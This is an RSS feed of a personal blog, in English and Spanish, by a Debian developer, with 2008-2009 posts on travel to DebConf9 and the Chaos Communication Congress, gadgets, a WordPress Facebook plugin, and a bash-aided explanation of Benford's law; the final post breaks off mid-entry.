		<item>
		<title>aUSBusing</title>
		<link>http://www.lucianobello.com.ar/post/ausbusing/</link>
		<comments>http://www.lucianobello.com.ar/post/ausbusing/#comments</comments>
		<pubDate>Sat, 19 Sep 2009 07:02:01 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[geek]]></category>
		<category><![CDATA[hardware]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[planet]]></category>
		<category><![CDATA[sorry for my english]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1213</guid>
		<description><![CDATA[When your laptop is being repaired (and it&#8217;s still there, since August 28) you need imaginative ways to be connected. Here is my Nokia N800 as something near to a desktop computer. Just few notices: life battery is really short when you plug too many things to the USB interface. usbcontrol rules solder a female-female USB [...]]]></description>
			<content:encoded><![CDATA[<p>When your laptop is being repaired (and it&#8217;s still there, since August 28) you need imaginative ways to be connected.</p>
<p>Here is my Nokia N800 as something near to a desktop computer.</p>
<p><a href="http://www.lucianobello.com.ar/blog/usbusing.png"><img src="http://www.lucianobello.com.ar/blog/usbusing_thumb.png" alt="" /></a></p>
<p>Just few notices:</p>
<ul>
<li>life battery is really short when you plug too many things to the USB interface.</li>
<li><a href="http://maemo.org/downloads/product/OS2008/usbcontrol/">usbcontrol</a> rules</li>
<li>solder a female-female USB adapter is easy and funny (it came from a broken motherboard)</li>
<li>after some weeks using Maemo, ideas about developing applications to it come to my mind</li>
<li>the mail client and the browser included with Maemo suck</li>
<li>my ocular health is being damaged</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/ausbusing/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>llegar para irse</title>
		<link>http://www.lucianobello.com.ar/post/llegar-para-irse/</link>
		<comments>http://www.lucianobello.com.ar/post/llegar-para-irse/#comments</comments>
		<pubDate>Thu, 13 Aug 2009 20:48:20 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[debian]]></category>
		<category><![CDATA[free software]]></category>
		<category><![CDATA[journeys & traveling]]></category>
		<category><![CDATA[lectures & talks]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1205</guid>
		<description><![CDATA[Todavía no termino de llegar (literalmente, que mi mochila se quedó en Madrid un día más que su dueño) y ya tengo el pasaje salir pasado mañana para Bahía Blanca. El evento es Jornadas del Sur, durante este fin de semana largo. Hablaré sobre seguridad y empaquetado, además de encontrarme con amigos para beber y [...]]]></description>
			<content:encoded><![CDATA[<p>Todavía no termino de llegar (literalmente, que mi mochila se quedó en <a href="http://maps.google.com/maps?f=q&amp;source=s_q&amp;hl=en&amp;geocode=&amp;q=madrid&amp;sll=37.0625,-95.677068&amp;sspn=31.701751,55.810547&amp;ie=UTF8&amp;ll=40.457397,-3.703766&amp;spn=0.475435,0.87204&amp;z=10&amp;iwloc=A">Madrid</a> un día más que su dueño) y ya tengo el pasaje salir pasado mañana para <a href="http://maps.google.com/maps?f=q&amp;source=s_q&amp;hl=en&amp;q=Bah%C3%ADa+Blanca,+Buenos+Aires,+Argentina&amp;ie=UTF8&amp;cd=1&amp;geocode=FYJOsf0dUt1J_A&amp;split=0&amp;sll=37.0625,-95.677068&amp;sspn=23.875,57.630033&amp;ll=-38.690869,-62.267761&amp;spn=0.243857,0.43602&amp;z=11&amp;iwloc=A">Bahía Blanca</a>.</p>
<p>El evento es <a href="http://www.jornadasdelsur.org.ar/">Jornadas del Sur</a>, durante este fin de semana largo. Hablaré sobre <a href="http://www.jornadasdelsur.org.ar/index.php?option=com_content&amp;view=article&amp;id=96:seguridad-en-servidores-luciano-bello-&amp;catid=2:charlas&amp;Itemid=22">seguridad</a> y <a href="http://www.jornadasdelsur.org.ar/index.php?option=com_content&amp;view=article&amp;id=95:creacion-de-paquetes-deb-luciano-bello&amp;catid=9:talleres&amp;Itemid=23">empaquetado</a>, además de encontrarme con amigos para beber y divertirse :P</p>
<p style="text-align: center;"><a href="http://www.jornadasdelsur.org.ar/"><img class="aligncenter" src="http://www.lucianobello.com.ar/blog/jornadasDELsur.jpg" alt="" width="450" height="300" align="center" /></a></p>
<p>¿Nos vemos allá?</p>
<p><strong>UPDATE Fri, 14 Aug 2009</strong>: Las fotos <a href="http://www.lucianobello.com.ar/fotos/?galerie=madrid09">ya están disponibles</a>, a excepción de las de Toledo, que están en una cámara desechable porque me olvidé la digital cuando fui.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/llegar-para-irse/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>cáceres-&gt;lisbon-&gt;madrid</title>
		<link>http://www.lucianobello.com.ar/post/caceres-lisbon-madrid/</link>
		<comments>http://www.lucianobello.com.ar/post/caceres-lisbon-madrid/#comments</comments>
		<pubDate>Fri, 07 Aug 2009 00:57:20 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[debian]]></category>
		<category><![CDATA[journeys & traveling]]></category>
		<category><![CDATA[life]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1189</guid>
		<description><![CDATA[Esta última quincena ha sido de lo más intensa. Lo más destacable, por lejos, fue DebConf9. Esa semana donde las cosas se viven de forma profundamente apasionadas, donde a cada paso hay diversión y amigos. Este año tuvo lugar en Cáceres, una ciudad relativamente pequeña de Extremadura. Me dediqué, mayormente, a escuchar charlas, intentar revivir [...]]]></description>
			<content:encoded><![CDATA[<p>Esta última quincena ha sido de lo más intensa.</p>
<p><a href="http://www.lucianobello.com.ar/fotos/?galerie=debconf9&amp;photo=33"><img src="http://www.lucianobello.com.ar/fotos/galleries/debconf9/thumbs/img-33.jpg" alt="DebConf9" width="90" height="120" align="right" /></a>Lo más destacable, por lejos, fue <a href="http://debconf9.debconf.org/">DebConf9</a>. Esa semana donde las cosas se viven de forma profundamente apasionadas, donde a cada paso hay diversión y amigos. Este año tuvo lugar en <a href="http://maps.google.com/maps?q=c%C3%A1ceres+extremadura">Cáceres</a>, una ciudad relativamente pequeña de Extremadura. Me dediqué, mayormente, a escuchar charlas, intentar revivir paquetes que tenía algo olvidados, y hacer mucho trabajo de <a href="http://www.debian.org/security/">security</a>. Incluso siendo <span class="word1">impresionantemente</span> productivo, mi <a href="http://en.wikipedia.org/wiki/To-do_list#Task_list">ToDoList</a>, lejos de reducirse durante esa semana, aumentó paradógicamente su tamaño en varias veces. Trabajo y diversión en envase familiar.</p>
<p>Mi idea no era volverme directamente a casa de DebConf9. Por un lado, estar <a href="http://maps.google.com/maps?q=europa">de este lado del charco</a> implica un esfuerzo demasiado grande que requiere ser amortizado. Por otro, conservo la esperanza que <a href="http://www.lucianobello.com.ar/post/debconf7-ended/">la depresión-post-debconf</a> pegue menos si antes de volver doy una vuelta por ahí. El hecho es que, sin un plan, coordine mi pasaje de regreso sumando dos semanas a la finalización de DebConf9. Así fue como terminé en Lisboa, gracias a <a href="http://web.tagus.ist.utl.pt/~jose.calhariz/">José</a> que me llevó en su auto y empujado por la promesa de un país más barato que el español.</p>
<p><a href="http://www.lucianobello.com.ar/fotos/?galerie=lisboa09&amp;photo=87"><img src="http://www.lucianobello.com.ar/fotos/galleries/lisboa09/thumbs/img-87.jpg" alt="Lisboa" align="right" /></a>En Lisboa pasé unos 4 días, muy lindos por cierto. Es una ciudad atípica, llena de particularidades, con gente agradable y más extranjeros que locales. Posiblemente el <a href="http://www.lucianobello.com.ar/fotos/?galerie=lisboa09">álbum de fotos</a> pueda contar más detalles.</p>
<p>De ahí y en tren, partí a <a href="http://maps.google.com/maps?q=madrid">Madrid</a>, donde estoy viviendo la última semana de este viaje. Siempre estoy de paso en Madrid, lo que es injusto, ya que nunca me hice el tiempo para visitarla como un turista más. Con el tiempo he criado algunas amistadas acá, por lo que también ocuparé estos días en ponerme al día y beber cerveza.</p>
<p>Mañana (en algunas horas, para ser estricto) tengo pensado ir a <a href="http://maps.google.com/maps?q=toledo,%20spain">Toledo</a>, así que va llegando el momento de hibernar mi laptop e irme a dormir.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/caceres-lisbon-madrid/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>at debconf9</title>
		<link>http://www.lucianobello.com.ar/post/at-debconf9/</link>
		<comments>http://www.lucianobello.com.ar/post/at-debconf9/#comments</comments>
		<pubDate>Thu, 23 Jul 2009 21:00:55 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[debian]]></category>
		<category><![CDATA[journeys & traveling]]></category>
		<category><![CDATA[lectures & talks]]></category>
		<category><![CDATA[life]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1185</guid>
		<description><![CDATA[Después de dos excelentes días en Madrid, tratando de recuperarme de un viaje demasiado largo, embarcamos en un bus con rumbo a Cáceres, junto con Santiago. Ahora estoy escribiendo esto desde el hacklab 1 de DebConf9, con esa hermosa senciación de haberme encontrado con mucha gente y de estar listo para vivir esos inolvidables días [...]]]></description>
			<content:encoded><![CDATA[<p>Después de dos excelentes días en Madrid, tratando de recuperarme de un viaje demasiado largo, embarcamos en un bus con rumbo a Cáceres, junto con Santiago.</p>
<p>Ahora estoy escribiendo esto desde el hacklab 1 de DebConf9, con esa hermosa senciación de haberme encontrado con mucha gente y de estar listo para vivir esos inolvidables días al año :)</p>
<p>Mañana, junto con Enrico y Steve, estaremos dando <a href="https://penta.debconf.org/dc9_schedule/events/479.en.html">una charla en el OpenDay</a>, la cual aún no empezado a preparar, así que será una noche divertida. Posiblemente vaya a estar disponible el streaming de videos, pero aún no se en qué URL.</p>
<p>En breve, fotos.</p>
<p>UPDATE 05 Aug: Lo prometido, <a href="http://www.lucianobello.com.ar/fotos/?galerie=debconf9">las fotos</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/at-debconf9/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>see you at DebConf9!</title>
		<link>http://www.lucianobello.com.ar/post/see-you-at-debconf9/</link>
		<comments>http://www.lucianobello.com.ar/post/see-you-at-debconf9/#comments</comments>
		<pubDate>Thu, 11 Jun 2009 16:17:35 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[debian]]></category>
		<category><![CDATA[journeys & traveling]]></category>
		<category><![CDATA[planet]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1182</guid>
		<description><![CDATA[I got my air ticket yesterday. So, I&#8217;m able to say that I will go to DebConf9! The only thing missing in my itinerary is a cheap way to go to Cáceres from Madrid (it will be by train, most probably)]]></description>
			<content:encoded><![CDATA[<p>I got my air ticket yesterday. So, I&#8217;m able to say that I will go to DebConf9!<br />
<img src="http://media.debconf.org/dc9/images/debconf9-going-to.png"/><br />
The only thing missing in my itinerary is a cheap way to go to Cáceres from Madrid (it will be by train, most probably)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/see-you-at-debconf9/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>not yours</title>
		<link>http://www.lucianobello.com.ar/post/not-yours/</link>
		<comments>http://www.lucianobello.com.ar/post/not-yours/#comments</comments>
		<pubDate>Tue, 26 May 2009 15:12:30 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[academy]]></category>
		<category><![CDATA[depression]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[planet]]></category>
		<category><![CDATA[sorry for my english]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1143</guid>
		<description><![CDATA[If I say &#8220;I got the third place in a scholarship application&#8221;, it doesn&#8217;t look bad. But there is money only for the first two persons. Sometimes, close is not enough. So, without money, I won&#8217;t be able to study in Europe&#8230; damn&#8230; Maybe next year&#8230; maybe not. Note: The application was, as you can [...]]]></description>
			<content:encoded><![CDATA[<p>If I say &#8220;I got the third place in a scholarship application&#8221;, it doesn&#8217;t look bad.<br />
<a href="http://www.postgrado.csic.es/JAE-Pre/Listado%20Titulares%20y%20Suplentes%20JAEPRE2009%20con%20RESOLUCION.pdf"><img src="http://www.lucianobello.com.ar/blog/resolucion_beca.png" alt="" /></a><br />
But there is money only for the first two persons. Sometimes, close is not enough. So, without money, I won&#8217;t be able to study in Europe&#8230; damn&#8230;</p>
<p>Maybe next year&#8230; maybe not.</p>
<p>Note: The application was, as you can see, for a <a href="http://www.postgrado.csic.es/tesis%20doctorales_jae.htm">doctoral scholarship in Spain</a>&#8230; my broken English has no effect here&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/not-yours/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>interview ( ) { ego++; }</title>
		<link>http://www.lucianobello.com.ar/post/ego/</link>
		<comments>http://www.lucianobello.com.ar/post/ego/#comments</comments>
		<pubDate>Fri, 17 Apr 2009 14:22:11 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[blogging]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[ego]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[planeta]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1125</guid>
		<description><![CDATA[(Sé que estoy escribiendo poco, y sé que con cuestionable calidad. Esta entrada no será la excepción) Circo Linux, un simpático blog/e-zine, me ha realizado una extensa entrevista que puede leerse aquí. Los temas que tratamos han sido de lo más variado, desde Debian hasta mi afición al go. Fue una charla amena. Tengo varias [...]]]></description>
			<content:encoded><![CDATA[<p>(Sé que estoy escribiendo poco, y sé que con cuestionable calidad. Esta entrada no será la excepción)</p>
<p><a href="http://www.circolinux.com.ar/">Circo Linux</a>, un simpático blog/e-zine, me ha realizado una extensa entrevista que puede leerse <a href="http://www.circolinux.com.ar/?p=501">aquí</a>. Los temas que tratamos han sido de lo más variado, desde <a href="http://www.lucianobello.com.ar/category/geek/debian/">Debian</a> hasta mi afición al <a href="http://en.wikipedia.org/wiki/Go_(board_game)">go</a>. Fue una charla amena.</p>
<p>Tengo varias ideas en la cabeza que merecen ser posteadas, pero poco tiempo para plasmarlas. Trataré de cambiar dicha situación en el corto plazo y levantar este blog a lo que solía ser: un lugar divertido donde perder el tiempo.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/ego/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>new camera</title>
		<link>http://www.lucianobello.com.ar/post/new-camera/</link>
		<comments>http://www.lucianobello.com.ar/post/new-camera/#comments</comments>
		<pubDate>Mon, 16 Mar 2009 01:42:50 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[hardware]]></category>
		<category><![CDATA[planet]]></category>
		<category><![CDATA[sorry for my english]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1118</guid>
		<description><![CDATA[Some days ago, my new camera arrived. I bougth it via Amazon and the parents of a friend brought it to my country. The selected model was a Canon PowerShot SX110 IS. My last camera was a Canon PowerShot A700. It has been in service since April 2006, until a terrible fall ended with its [...]]]></description>
			<content:encoded><![CDATA[<p>Some days ago, my new camera arrived. I bougth it via Amazon and the parents of a friend brought it to my country.</p>
<p>The selected model was a <a href="http://www.usa.canon.com/consumer/controller?act=ModelInfoAct&#038;tabact=SupportDetailTabAct&#038;fcategoryid=225&#038;modelid=17480&#038;kbpage=yes">Canon PowerShot SX110 IS</a>. My last camera was a <a href="http://www.dpreview.com/reviews/specs/Canon/canon_a700.asp">Canon PowerShot A700</a>. It has been in service since <a href="http://www.lucianobello.com.ar/post/say-cheese/">April 2006</a>, until a terrible fall ended with its nice capability of taking good pictures, during the 25C3 in Berlin.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/new-camera/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>conectando facebook con wordpress</title>
		<link>http://www.lucianobello.com.ar/post/conectando-facebook-con-wordpress/</link>
		<comments>http://www.lucianobello.com.ar/post/conectando-facebook-con-wordpress/#comments</comments>
		<pubDate>Sat, 14 Feb 2009 22:38:58 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[blogging]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[social networking]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1114</guid>
		<description><![CDATA[Dado que mi status de Facebook degeneró en microblogging, instalé (y modifiqué levemente) este plugin de Brian Goad. Mi versión modificada puede bajarse de aquí y permite folding y publicar el RSS del status para sindicar. Esta última opción hace pública tu key. Siendo que es obvio que tu status es público y que no [...]]]></description>
			<content:encoded><![CDATA[<p>Dado que mi status de Facebook degeneró en microblogging, instalé (y modifiqué levemente) <a href="http://www.briandgoad.com/blog/status-press-widget">este</a> plugin de <a href="http://www.briandgoad.com">Brian Goad</a>.</p>
<p>Mi versión modificada puede bajarse de <a href="http://www.lucianobello.com.ar/wp-content/plugins/status-feed-widget-1.0.1.tar.gz">aquí</a> y permite <em>folding</em> y publicar el RSS del status para sindicar. Esta última opción hace pública tu <em>key</em>. Siendo que es obvio que tu status es público y que no podes usarlo para cosas sensibles.. ¿a alguien se le ocurre las consecuencias que esto conlleva?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/conectando-facebook-con-wordpress/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>nothing to hide</title>
		<link>http://www.lucianobello.com.ar/post/nothing-to-hide/</link>
		<comments>http://www.lucianobello.com.ar/post/nothing-to-hide/#comments</comments>
		<pubDate>Fri, 19 Dec 2008 13:51:20 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[journeys & traveling]]></category>
		<category><![CDATA[lectures & talks]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[planet]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1068</guid>
		<description><![CDATA[The next week I&#8217;m going to Berlin (and some days to Frankfurt). I&#8217;ll be in the 25th Chaos Communication Congress (25C3). I&#8217;ll be out of home from 24th Dec until 7th Jan. It&#8217;ll be a non-traditional holidays, be far away from family. But, in the other hand, it gonna be awesome be and talk in [...]]]></description>
			<content:encoded><![CDATA[<p><img align=right src="http://www.lucianobello.com.ar/blog/25c3.jpg" alt="" />The next week I&#8217;m going to <a href="http://maps.google.com/maps?hl=en&#038;client=iceweasel-a&#038;q=berlin&#038;ie=UTF8&#038;ll=52.570508,13.41156&#038;spn=0.377269,0.873413&#038;z=10&#038;g=berlin&#038;iwloc=addr">Berlin</a> (and some days to <a href="http://maps.google.com/maps?hl=en&#038;client=iceweasel-a&#038;q=frankfurt&#038;ie=UTF8&#038;ll=50.161065,8.680573&#038;spn=0.397658,0.873413&#038;z=10&#038;g=frankfurt&#038;iwloc=addr">Frankfurt</a>). I&#8217;ll be in the <a href="http://events.ccc.de/congress/2008/">25th Chaos Communication Congress (25C3)</a>.</p>
<p>I&#8217;ll be out of home from 24th Dec until 7th Jan. It&#8217;ll be a non-traditional holidays, be far away from family. But, in the other hand, it gonna be awesome be and talk in a CCC and spend a Christmas Eve in a plane and a New Year&#8217;s Eve in Brandenburg Gate with friends.</p>
<p>See you there?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/nothing-to-hide/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>La ley de Benford y la vida real &#8482;</title>
		<link>http://www.lucianobello.com.ar/post/la-ley-de-benford-y-la-vida-real-tm/</link>
		<comments>http://www.lucianobello.com.ar/post/la-ley-de-benford-y-la-vida-real-tm/#comments</comments>
		<pubDate>Mon, 08 Dec 2008 19:38:36 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[books & reading]]></category>
		<category><![CDATA[favorites]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[math]]></category>
		<category><![CDATA[probability & statistics]]></category>
		<category><![CDATA[procrastination]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1043</guid>
		<description><![CDATA[Lo prometido. Hoy me gustaría hablarles algo que no tenía idea que existía y que me encontré en el apéndice 9 del libro La Proporción Áurea de Mario Livio. Es de esos sorprendentes conceptos que destruyen la intuición. Por un lado es simple desde lo formal, pero esconde algo casi mágico. Dicho concepto es: La [...]]]></description>
			<content:encoded><![CDATA[<p>Lo prometido. Hoy me gustaría hablarles algo que no tenía idea que existía y que me encontré en el apéndice 9 del libro <a href="http://www.elbuscon.es/L9788434455313-proporcion-aurea.html"><em>La Proporción Áurea</em> de Mario Livio</a>. Es de esos sorprendentes conceptos que destruyen la intuición. Por un lado es simple desde lo formal, pero esconde algo casi mágico. Dicho concepto es: <a href="http://es.wikipedia.org/wiki/Ley_de_Benford">La ley de Benford</a></p>
<p>Para los que no hicieron click en el link anterior y dado que la entrada en la <a href="http://es.wikipedia.org/">Wikipedia en español</a> sobre el tema deja bastante que desear (estoy corrigiéndola), acá está mi breve explicación:</p>
<p><em><strong>La ley de Benford</strong>, también conocida como <strong>la ley del primer dígito</strong>, dice que, en los números que existen en <em>la vida real</em><sup>TM</sup>, la primer cifra tiene muchas más posibilidades de ser 1 que otro valor. Además, según crece este primer dígito, más improbable es que se encuentre en la primera posición.</em></p>
<p>A por un ejemplo, que seguro es más fácil. Tomemos una tabla con estadísticas cualquiera, como ser el <a href="http://en.wikipedia.org/wiki/Provinces_of_Argentina#Demographics">área o población de las provincias argentinas</a>, la <a href="http://en.wikipedia.org/wiki/List_of_football_(soccer)_stadiums_by_capacity">capacidad de los estadios del mundo</a>, los <a href="http://www.luchemos.org.ar/espa/estadis.htm">muertos por accidentes de tránsito</a> o las estadísticas de visitas en tu blog. Como todo en estadística, mientras más grande la muestra mejor, así que vayan a por tablas realmente grandes.</p>
<p>Intuitivamente, uno podría pensar que, para cualquier número, las posibilidades que empiece con 1 son las mismas que con 9. Es decir, al agarrar una pelota de números cualquiera de <em>la vida real</em><sup>TM</sup> se podría llegar a creer que, si la cantidad es lo suficientemente grande, más o menos 1/9 de la muestra empezarán con 1 (nótese que no tiene sentido que los valores empiezen en 0, por lo que las opciones son 9). Esto es porque creemos que los números que estamos analizando se comportan como si fuesen aleatorios. Si tiramos una moneda al aire una gran cantidad de veces, cerca de la mitad de las oportunidades será seca. Es algo que aprendimos hace mucho y nos parece intutivo que la naturaleza se comporte así. Como si $deity hubiese tirado un dado gigante para decidir el largo de un río, la población de un país o el precio de las acciones en el MERVAL.</p>
<p>Como en mi disco todavía tengo los datos utlizados para el post <a href="http://www.lucianobello.com.ar/post/la-chica-bajo-la-curva-dating-pool/"><em>la chica bajo la curva (dating pool)</em></a> voy a utilizar la cantidad de casados, por provincia, por edad (puede descargarse desde <a>acá</a>). En mi caso son 30843 regitros. Esta linea de bash cuenta cuantos de los valores empienzan con cada cifra:<br />
<tt><br />
$ for i in $(cat provincia_indec.csv  | grep años | cut -d ';' -f 4); do echo ${i:0:1}; done | sort | uniq -c<br />
10350 1<br />
5581 2<br />
3550 3<br />
2744 4<br />
2159 5<br />
1903 6<br />
1815 7<br />
1406 8<br />
1335 9</tt><br />
<img src="http://upload.wikimedia.org/wikipedia/de/thumb/8/84/Benford.svg/250px-Benford.svg.png" alt="" align="right" />Puede verse que el 33.56% de las cifras empiezan con 1 y que, mientras mayor es el valor del primer dígito, menor es la cantidad de ocurrencias.</p>
<p>En efecto, nuestro nuevo amigo <a href="http://en.wikipedia.org/wiki/Frank_Benford">Benford</a> describe este fenómeno y nos dice que, la probabilidad <em>p</em> de que el dígito <em>d</em> aparezca en el primer lugar está dado por la siguiente fórmula:<br />
<img src="http://upload.wikimedia.org/math/2/b/0/2b09f4eb994720c9bd2be2ed10f966d2.png" alt="" /></p>
<p>En el ejemplo anterior, el dígito 1 se encuentra en 10350/30843=0.336 de los casos. Puede verse que la predicción de la fórmula es bastante buena, ya que log<sub>10</sub>(1+1)=0.301. En la siguiente figura puede verse como se ajusta la fórmula a los datos de la práctica (primer dígito de la cantidad de personas casadas por provincia, por edad según el censo 2001):<br />
<img src="http://www.lucianobello.com.ar/blog/benford_casados_edad_provincia.png" alt="" /><br />
De hecho, la misma fórmula puede aplicarse a más de un dígito. Por ejemplo, la probabilidad de que una cifra empiece con 42 (primer dígito 4, segundo 2) es log<sub>10</sub>(1+1/42)=0.010219. Modificando levemente el script (<em>${i:0:2}</em>) podemos estudiar la cantidad de cifras por la repetición de sus primeros dos números y compararlos con su valor teórico:<br />
<img src="http://www.lucianobello.com.ar/blog/benford_casados_edad_provincia1.png" alt="" /><br />
Impresionante.. no?</p>
<p>¿Y porqué pasa esto? Ocurre que a las magnitudes del <em>mundo real</em><sup>TM</sup> están distribuidas de forma logarítmica.<br />
<img src="http://upload.wikimedia.org/wikipedia/commons/a/ae/Logscale.png" alt="" /></p>
<p>Recordemos la fórmula: p<sub>(d)</sub>=log<sub>10</sub>(1+1/<em>d</em>)=log<sub>10</sub>(<em>d</em> + 1) − log<sub>10</sub>(<em>d</em>)<br />
Es decir, cuenta cuántos números hay entre <em>d</em> y <em>d+1</em> dentro de la escala logarítmica.</p>
<p>La mejor explicación que recibí para este fenómeno habla de un cambio de escala. Supongamos por un momento que la distribución de los primeros dígitos de lo largo de los ríos, lo alto de las montañas, lo profundo de los posos es constante. Ahora imaginemos que $deity se levanta una mañana y duplica el tamaño del planeta (o del universo, ustedes elijen). Las medidas que empezaban por 1 hora pasan a empezar por 2 o 3 (160*2=320). Lo que empezaba por 2 ahora lo hace por 4 o por 5 (290*2=580). El 3 se va a 6 o 7 (384*2=768). El 4 a 8 y 9.</p>
<p>¡Pero todos aquellas medidas que empezaban por 5, 6, 7, 8 y 9 ahora empiezan por 1! Si realizamos esta operación varias veces los valores se amontonan rápidamente en los iniciados por 1, generando la escala logarítmica en cuestión. Y acá está el tema. La mayoría de los valores de <em>la vida real</em><sup>TM</sup> son resultados de multiplicaciones.</p>
<p>El siguiente gráfico invita a comparar las superficies rojas (valores que inician con 1) y azules (valores que inician con 8) para estudiar sus probabilidades de ocurrencia en el primer dígito:<br />
<img src="http://upload.wikimedia.org/wikipedia/commons/e/e0/BenfordBroad.gif" alt="" /><br />
Las distribuciones que cubren muchos órdenes de magnitud (que varían mucho entre número y número) cumplen relativamente bien con la ley de Benford. Sin embargo puede no ocurrir así siempre:<br />
<img src="http://upload.wikimedia.org/wikipedia/commons/c/c8/BenfordNarrow.gif" alt="" /><br />
Nótese que la clave está en las grandes magnitudes (recuerden la explicación del universo que se duplica). Existen tablas de números de <em>la vida real</em><sup>TM</sup> que no cumplen la ley dada que estan acotadas en cuento a su rango, por ejemplo los datos <a href="http://es.finance.yahoo.com/q/hp?s=^MERV">del cierre del MERVAL de los últimos 3 años</a>. Si bien son números grandes, su máximo y mínimo es acotado. Imagino (no tengo uno a mano) que los precios unitarios de los productos en un ticket de supermercado tampoco se agustan a la ley por razones parecidas. La <a href="http://www.ole.clarin.com/estadisticas/primeraa/a2008/goleadores.html">tabla de goleadores de un torneo de fútbol padece el mismo trauma</a>. ¿Se les ocurre algún otro ejemplo excepcional a la regla?</p>
<p>Espero hayan aprendido algo nuevo y ahora quieran a la matemática un poquito más :)</p>
<p>PD: Me olvidaba. Tarea para el hogar: Demostrar que <em>la vida real</em><sup>TM</sup> incluye a Fibonacci ;)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/la-ley-de-benford-y-la-vida-real-tm/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>φbonacci</title>
		<link>http://www.lucianobello.com.ar/post/%cf%86bonacci/</link>
		<comments>http://www.lucianobello.com.ar/post/%cf%86bonacci/#comments</comments>
		<pubDate>Sun, 07 Dec 2008 22:23:58 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[books & reading]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[math]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[φ]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1026</guid>
		<description><![CDATA[Mi conjunto de números favoritos son los enteros en general y los naturales en particular. Son los primeros números que aprendemos en la vida, sencillos, de apariencia intuitiva pero con poderosas propiedades. Dado que mi amateur aproximación a la matemática se dio por el camino de la teoría de números, fueron mi primer gran amor [...]]]></description>
			<content:encoded><![CDATA[<p>Mi conjunto de números favoritos son <a href="http://es.wikipedia.org/wiki/N%C3%BAmero_entero">los enteros</a> en general y <a href="http://es.wikipedia.org/wiki/N%C3%BAmeros_naturales">los naturales</a> en particular. Son los primeros números que aprendemos en la vida, sencillos, de apariencia intuitiva pero con poderosas propiedades. Dado que mi amateur aproximación a la matemática se dio por el camino de la <a href="http://usuarios.lycos.es/teoriadenumeros/historia.html">teoría de números</a>, fueron mi primer gran amor matemático.<br />
<center><img src="http://upload.wikimedia.org/math/9/7/0/970e61b0fbe1dacbdcf11c86210ef97d.png" alt="" /></center><br />
Sin embargo, no es difícil encontrar fascinante a otros conjuntos de números. Muchas de estos patean el tablero de formas agradables, como <a href="http://es.wikipedia.org/wiki/N%C3%BAmero_complejo">los complejos</a>, que se escaparon de la recta real para irse de vacaciones al <a href="http://es.wikipedia.org/wiki/Diagrama_de_Argand">plano</a>. Entre los más impetuosos contra la intuición están, obviamente, <a href="http://es.wikipedia.org/wiki/N%C3%BAmero_irracional">los irracionales</a>. Y a uno de ellos va dedicado este post.</p>
